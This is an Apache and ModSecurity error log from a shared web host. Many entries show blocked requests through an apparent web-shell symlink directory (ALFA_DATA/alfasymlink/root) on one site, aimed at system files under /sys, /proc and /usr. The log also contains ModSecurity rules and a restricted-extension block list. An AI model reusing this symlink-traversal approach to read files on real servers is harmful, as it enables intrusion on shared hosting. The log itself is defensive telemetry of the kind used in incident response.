[Sun Oct 25 17:08:50.519583 2026] [security2:error] [pid 2899920:tid 2899920] [client 179.42.237.46:2729] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/lib/tuned/network-latency/tuned.conf"] [unique_id "at5v4h8fO9KwLgqLGMRBtAAAAAc"]
[Sun Oct 25 17:08:52.487653 2026] [core:error] [pid 2898267:tid 2898267] (13)Permission denied: [client 216.131.83.94:49827] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/Acpi-Namespace/remote_node_defrag_ratio
[Sun Oct 25 17:08:54.158599 2026] [security2:error] [pid 2901649:tid 2901649] [client 209.173.195.178:3192] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/lib/tuned/network-latency/tuned.conf"] [unique_id "at5v5pTC8Ir5VWQI7RvKcgAAAAg"]
[Sun Oct 25 17:08:54.159072 2026] [security2:error] [pid 2901649:tid 2901649] [client 209.173.195.178:3192] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/lib/tuned/network-latency/tuned.conf"] [unique_id "at5v5pTC8Ir5VWQI7RvKcgAAAAg"]
[Sun Oct 25 17:08:54.159387 2026] [security2:error] [pid 2901649:tid 2901649] [client 209.173.195.178:3192] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/lib/tuned/network-latency/tuned.conf"] [unique_id "at5v5pTC8Ir5VWQI7RvKcgAAAAg"]
[Sun Oct 25 17:08:58.374939 2026] [core:error] [pid 2900724:tid 2900724] (13)Permission denied: [client 138.121.113.223:53056] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/Acpi-Namespace/remote_node_defrag_ratio
[Sun Oct 25 17:09:01.604959 2026] [core:error] [pid 2899599:tid 2899599] (13)Permission denied: [client 177.67.141.249:41402] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/Acpi-Namespace/remote_node_defrag_ratio
[Sun Oct 25 17:09:18.244067 2026] [ssl:error] [pid 2901884:tid 2901884] (70014)End of file found: [client 3.93.253.174:18483] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:09:32.168695 2026] [core:error] [pid 2898267:tid 2898267] (13)Permission denied: [client 184.170.16.220:16478] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/pid_namespace/aliases
[Sun Oct 25 17:09:35.154822 2026] [core:error] [pid 2901652:tid 2901652] (13)Permission denied: [client 153.67.37.197:39215] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_journal_handle/total_objects
[Sun Oct 25 17:09:37.682215 2026] [core:error] [pid 2899599:tid 2899599] (13)Permission denied: [client 92.241.36.59:63664] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_journal_handle/total_objects
[Sun Oct 25 17:09:40.217521 2026] [core:error] [pid 2899590:tid 2899590] (13)Permission denied: [client 105.109.18.200:59658] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_journal_handle/total_objects
[Sun Oct 25 17:09:42.690093 2026] [core:error] [pid 2901884:tid 2901884] (13)Permission denied: [client 169.224.83.221:61068] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/pid_namespace/aliases
[Sun Oct 25 17:09:46.164930 2026] [ssl:error] [pid 2900724:tid 2900724] (70014)End of file found: [client 23.22.105.143:60380] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:09:46.302889 2026] [core:error] [pid 2899599:tid 2899599] (13)Permission denied: [client 85.208.96.201:32990] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-cg-512/objs_per_slab
[Sun Oct 25 17:09:55.528865 2026] [core:error] [pid 2901884:tid 2901884] (13)Permission denied: [client 97.90.215.88:39907] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dnotify_struct/total_objects
[Sun Oct 25 17:09:58.155847 2026] [core:error] [pid 2900724:tid 2900724] (13)Permission denied: [client 185.139.138.121:51164] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dnotify_struct/total_objects
[Sun Oct 25 17:10:02.340973 2026] [ssl:error] [pid 2901884:tid 2901884] (70014)End of file found: [client 34.194.165.45:27801] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:10:02.508883 2026] [core:error] [pid 2901649:tid 2901649] (13)Permission denied: [client 165.16.35.2:37072] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dnotify_struct/total_objects
[Sun Oct 25 17:10:05.553827 2026] [authz_core:error] [pid 2899599:tid 2899599] [client 20.194.0.112:6854] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sun Oct 25 17:10:06.206122 2026] [ssl:error] [pid 2899920:tid 2899920] (5)Input/output error: [client 3.217.171.106:7550] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:10:08.673159 2026] [security2:error] [pid 2899599:tid 2899599] [client 20.194.0.112:6854] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/cursodeventas-global": Permission denied [hostname "curso-de-ventas.com"] [uri "/wp-admin/css/colors/coffee/"] [unique_id "at5wMDh2OyOHio_rZGivJAAAACE"]
[Sun Oct 25 17:10:08.673206 2026] [security2:error] [pid 2899599:tid 2899599] [client 20.194.0.112:6854] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/cursodeventas-ip": Permission denied [hostname "curso-de-ventas.com"] [uri "/wp-admin/css/colors/coffee/"] [unique_id "at5wMDh2OyOHio_rZGivJAAAACE"]
[Sun Oct 25 17:10:10.314362 2026] [core:error] [pid 2901652:tid 2901652] (13)Permission denied: [client 52.71.203.206:23569] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/physical_node/0000:00:05.0/driver/0000:00:04.0/virtio1/subsystem/uevent
[Sun Oct 25 17:10:14.268067 2026] [ssl:error] [pid 2899790:tid 2899790] (70014)End of file found: [client 54.91.122.193:48260] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:10:21.882781 2026] [core:error] [pid 2900724:tid 2900724] (13)Permission denied: [client 188.132.144.144:60959] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-280/usersize
[Sun Oct 25 17:10:22.591790 2026] [core:error] [pid 2899790:tid 2899790] (13)Permission denied: [client 185.191.171.7:58156] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/eventpoll_pwq/free_calls
[Sun Oct 25 17:10:26.289586 2026] [core:error] [pid 2899538:tid 2899538] (13)Permission denied: [client 217.198.193.145:12423] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-280/usersize
[Sun Oct 25 17:10:38.142337 2026] [core:error] [pid 2900724:tid 2900724] (13)Permission denied: [client 54.204.62.163:23736] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:04/subsystem/devices/PNP0A03:00/device:16/subsystem/devices/PNP0303:00/physical_node1/driver/uevent
[Sun Oct 25 17:10:42.189130 2026] [core:error] [pid 2899920:tid 2899920] (13)Permission denied: [client 184.73.167.217:15087] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:20/subsystem/devices/PNP0303:00/subsystem/devices/device:1d/eject
[Sun Oct 25 17:10:58.242203 2026] [ssl:error] [pid 2899538:tid 2899538] (70014)End of file found: [client 54.209.100.30:21973] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:11:10.182035 2026] [ssl:error] [pid 2898267:tid 2898267] (70014)End of file found: [client 44.194.139.149:48319] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:11:22.298042 2026] [ssl:error] [pid 2899590:tid 2899590] (70014)End of file found: [client 34.205.163.103:45697] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:11:24.708300 2026] [core:error] [pid 2899790:tid 2899790] (13)Permission denied: [client 102.67.246.192:50754] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_system_zone/sanity_checks
[Sun Oct 25 17:11:26.157672 2026] [core:error] [pid 2898267:tid 2898267] (13)Permission denied: [client 54.83.56.1:9942] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/input1/event1/subsystem/input5/device/driver/pcspkr/subsystem/drivers/clk-pmc-atom/bind
[Sun Oct 25 17:11:27.008886 2026] [core:error] [pid 2899920:tid 2899920] (13)Permission denied: [client 68.133.45.13:48635] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-248/cpu_partial
[Sun Oct 25 17:11:28.027234 2026] [core:error] [pid 2900794:tid 2900794] (13)Permission denied: [client 45.4.110.170:38582] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_system_zone/sanity_checks
[Sun Oct 25 17:11:30.404800 2026] [ssl:error] [pid 2901649:tid 2901649] (70014)End of file found: [client 34.227.234.246:55569] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:11:32.132975 2026] [security2:error] [pid 2901884:tid 2901884] [client 216.131.74.66:43615] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/doc/pure-ftpd/pure-ftpd.conf"] [unique_id "at5whC2Ruv4ouI3ozJsYJgAAAAw"]
[Sun Oct 25 17:11:32.133529 2026] [security2:error] [pid 2901884:tid 2901884] [client 216.131.74.66:43615] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/doc/pure-ftpd/pure-ftpd.conf"] [unique_id "at5whC2Ruv4ouI3ozJsYJgAAAAw"]
[Sun Oct 25 17:11:32.133866 2026] [security2:error] [pid 2901884:tid 2901884] [client 216.131.74.66:43615] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/doc/pure-ftpd/pure-ftpd.conf"] [unique_id "at5whC2Ruv4ouI3ozJsYJgAAAAw"]
[Sun Oct 25 17:11:33.725765 2026] [security2:error] [pid 2898267:tid 2898267] [client 174.171.191.154:50603] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/doc/pure-ftpd/pure-ftpd.conf"] [unique_id "at5whYLIYU_dHwKY8MQoWAAAAAI"]
[Sun Oct 25 17:11:33.726241 2026] [security2:error] [pid 2898267:tid 2898267] [client 174.171.191.154:50603] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/doc/pure-ftpd/pure-ftpd.conf"] [unique_id "at5whYLIYU_dHwKY8MQoWAAAAAI"]
[Sun Oct 25 17:11:33.726545 2026] [security2:error] [pid 2898267:tid 2898267] [client 174.171.191.154:50603] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/doc/pure-ftpd/pure-ftpd.conf"] [unique_id "at5whYLIYU_dHwKY8MQoWAAAAAI"]
[Sun Oct 25 17:11:36.596488 2026] [core:error] [pid 2900794:tid 2900794] (13)Permission denied: [client 72.197.208.6:33372] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-248/cpu_partial
[Sun Oct 25 17:11:39.026131 2026] [core:error] [pid 2901884:tid 2901884] (13)Permission denied: [client 70.174.65.186:51665] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/sock_inode_cache/hwcache_align
[Sun Oct 25 17:11:40.544137 2026] [core:error] [pid 2899590:tid 2899590] (13)Permission denied: [client 108.4.227.21:43287] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/sock_inode_cache/hwcache_align
[Sun Oct 25 17:11:41.037707 2026] [ssl:error] [pid 2898267:tid 2898267] (70014)End of file found: [client 186.22.253.230:22950] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:11:46.166629 2026] [ssl:error] [pid 2899920:tid 2899920] (70014)End of file found: [client 3.232.102.111:64115] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:11:48.097151 2026] [ssl:error] [pid 2901884:tid 2901884] (70014)End of file found: [client 173.76.229.180:44188] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:11:54.280709 2026] [ssl:error] [pid 2899590:tid 2899590] (70014)End of file found: [client 44.210.204.255:56795] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:11:57.228641 2026] [ssl:error] [pid 2900794:tid 2900794] (70014)End of file found: [client 170.79.201.191:32932] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:11:58.923368 2026] [core:error] [pid 2899920:tid 2899920] (13)Permission denied: [client 185.191.171.1:33042] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/sgpool-32/align
[Sun Oct 25 17:12:02.157650 2026] [ssl:error] [pid 2901649:tid 2901649] (70014)End of file found: [client 54.83.180.239:7612] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:12:06.152487 2026] [ssl:error] [pid 2899590:tid 2899590] (70014)End of file found: [client 44.221.105.234:34707] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:12:10.142521 2026] [core:error] [pid 2898267:tid 2898267] (13)Permission denied: [client 35.171.117.160:27681] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:15/subsystem/devices/device:02/physical_node/subsystem/drivers/xen-platform-pci/bind
[Sun Oct 25 17:12:14.150381 2026] [ssl:error] [pid 2899920:tid 2899920] (22)Invalid argument: [client 54.83.240.58:22266] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:12:18.239142 2026] [core:error] [pid 2901649:tid 2901649] (13)Permission denied: [client 3.220.148.166:12723] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/drm/card0/device/firmware_node/subsystem/devices/device:03/subsystem/drivers/button/bind
[Sun Oct 25 17:12:26.137741 2026] [ssl:error] [pid 2898267:tid 2898267] (70014)End of file found: [client 44.193.115.232:53459] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:12:34.168416 2026] [ssl:error] [pid 2899619:tid 2899619] (70014)End of file found: [client 54.197.178.107:57767] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:12:35.981772 2026] [core:error] [pid 2898267:tid 2898267] (13)Permission denied: [client 185.191.171.17:54638] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-512/trace
[Sun Oct 25 17:12:45.279903 2026] [core:error] [pid 2899619:tid 2899619] (13)Permission denied: [client 38.51.35.88:27432] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/task_delay_info/total_objects
[Sun Oct 25 17:12:48.716977 2026] [core:error] [pid 2900794:tid 2900794] (13)Permission denied: [client 181.162.103.4:52219] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/task_delay_info/total_objects
[Sun Oct 25 17:12:50.490822 2026] [core:error] [pid 2899920:tid 2899920] (13)Permission denied: [client 90.219.59.131:36691] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/task_delay_info/total_objects
[Sun Oct 25 17:13:00.227010 2026] [core:error] [pid 2899599:tid 2899599] (13)Permission denied: [client 38.137.234.124:54998] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dnotify_struct/objects_partial
[Sun Oct 25 17:13:01.990657 2026] [core:error] [pid 2901649:tid 2901649] (13)Permission denied: [client 71.56.247.239:53449] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dnotify_struct/objects_partial
[Sun Oct 25 17:13:02.238643 2026] [ssl:error] [pid 2897962:tid 2897962] (70014)End of file found: [client 98.83.72.38:6917] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:13:05.123760 2026] [core:error] [pid 2899920:tid 2899920] (13)Permission denied: [client 5.163.158.74:50482] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dnotify_struct/objects_partial
[Sun Oct 25 17:13:06.140771 2026] [ssl:error] [pid 2899538:tid 2899538] (70014)End of file found: [client 44.210.204.255:19793] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:13:18.137303 2026] [ssl:error] [pid 2899920:tid 2899920] (70014)End of file found: [client 44.221.180.179:15481] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:13:18.317400 2026] [security2:error] [pid 2899576:tid 2899576] [client 107.172.76.131:64727] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "clic1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at5w4BsIN7vUZo55IKdkLAAAABQ"], referer: https://clic1.sherwinpinturas.com//beta.php
[Sun Oct 25 17:13:18.317463 2026] [security2:error] [pid 2899576:tid 2899576] [client 107.172.76.131:64727] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "clic1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at5w4BsIN7vUZo55IKdkLAAAABQ"], referer: https://clic1.sherwinpinturas.com//beta.php
[Sun Oct 25 17:13:30.139386 2026] [ssl:error] [pid 2903083:tid 2903083] (70014)End of file found: [client 44.209.89.189:7301] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:13:34.168302 2026] [ssl:error] [pid 2897967:tid 2897967] (70014)End of file found: [client 52.200.58.199:9220] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:13:46.239595 2026] [ssl:error] [pid 2899790:tid 2899790] (70014)End of file found: [client 3.209.174.110:29453] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:13:50.198871 2026] [ssl:error] [pid 2899538:tid 2899538] (70014)End of file found: [client 23.23.99.55:35945] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:13:58.134878 2026] [ssl:error] [pid 2903083:tid 2903083] (70014)End of file found: [client 23.21.228.180:55323] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:14:02.206740 2026] [ssl:error] [pid 2901649:tid 2901649] (70014)End of file found: [client 34.225.87.80:57345] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:14:06.295753 2026] [ssl:error] [pid 2897967:tid 2897967] (70014)End of file found: [client 100.29.34.97:12619] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:14:22.214123 2026] [ssl:error] [pid 2900724:tid 2900724] (70014)End of file found: [client 44.215.235.20:35406] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:14:25.979691 2026] [core:error] [pid 2899590:tid 2899590] (13)Permission denied: [client 109.224.242.156:5411] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_prealloc_space/sanity_checks
[Sun Oct 25 17:14:27.781970 2026] [core:error] [pid 2899790:tid 2899790] (13)Permission denied: [client 216.10.216.55:2425] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/numa_policy/partial
[Sun Oct 25 17:14:28.411633 2026] [core:error] [pid 2901649:tid 2901649] (13)Permission denied: [client 76.104.120.212:57699] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_prealloc_space/sanity_checks
[Sun Oct 25 17:14:29.509650 2026] [core:error] [pid 2900724:tid 2900724] (13)Permission denied: [client 73.16.89.85:54245] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/numa_policy/partial
[Sun Oct 25 17:14:29.798927 2026] [core:error] [pid 2899538:tid 2899538] (13)Permission denied: [client 75.65.157.215:47622] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_prealloc_space/sanity_checks
[Sun Oct 25 17:14:30.186650 2026] [ssl:error] [pid 2903083:tid 2903083] (70014)End of file found: [client 184.73.35.182:54599] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:14:32.141299 2026] [core:error] [pid 2899590:tid 2899590] (13)Permission denied: [client 108.74.131.122:37547] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/numa_policy/partial
[Sun Oct 25 17:14:36.213234 2026] [core:error] [pid 2903083:tid 2903083] (13)Permission denied: [client 85.208.96.206:50874] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/virtio_net/sections/__ex_table
[Sun Oct 25 17:14:43.272835 2026] [core:error] [pid 2900794:tid 2900794] (13)Permission denied: [client 1.146.171.134:24908] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/task_delay_info/align
[Sun Oct 25 17:14:43.816414 2026] [security2:error] [pid 2898267:tid 2898267] [client 196.207.222.165:8677] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "close, keep-alive"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "parkeranders.com"] [uri "/"] [unique_id "at5xQ4LIYU_dHwKY8MQoZQAAAAI"], referer: https://paceggweser.blogspot.com/
